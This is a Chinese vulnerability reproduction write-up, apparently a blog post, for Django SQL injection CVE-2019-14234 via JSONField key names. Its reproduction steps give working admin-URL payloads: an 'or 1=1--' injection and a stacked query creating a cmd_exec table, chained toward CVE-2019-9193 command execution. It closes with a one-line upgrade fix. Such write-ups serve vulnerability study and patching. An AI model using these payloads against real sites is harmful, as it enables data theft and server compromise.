django SQL注入(CVE-2019-14234)

漏洞描述:

Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。

在1.11.x before 1.11.23、2.1.x before 2.1.11和2.2.x before 2.2.4的版本中,Django存在安全漏洞,Django中使用了JSONField并且查询的“键名”可控,导致存在SQL注入漏洞。

后台登录页面:http://ip:port/admin

复现过程:

1.访问http://ip:port,出现如下页面,开始实验

2.访问http://ip:port/admin,进入后台管理系统

3.构造payload,令b=123

payload:

http://ip:port/admin/vuln/collection/?detail__a%27b=123

4.查询所有结果

http://ip:port/admin/vuln/collection/?detail__title%27)%3d%271%27 or 1%3d1%2d%2d%20

5.结合CVE-2019-9193我们尝试进行命令注入

http://ip:port/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

显示没有要获取的结果,证明命令正常执行

借此漏洞,可导致数据库中存放的用户的隐私信息的泄露,严重的可导致网页篡改;网站被挂马,传播恶意软件;修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;数据库被恶意操作;服务器被远程控制,被安装后门。

修复建议:

  1. 升级版本。

  • 10
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值